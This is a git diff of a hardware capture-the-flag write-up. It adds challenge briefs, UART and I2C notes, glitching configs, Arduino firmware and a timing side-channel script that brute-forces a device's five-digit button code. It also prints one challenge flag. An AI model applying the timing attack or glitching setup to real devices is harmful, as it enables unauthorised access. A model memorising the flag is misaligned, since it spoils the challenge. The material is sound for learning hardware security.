+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
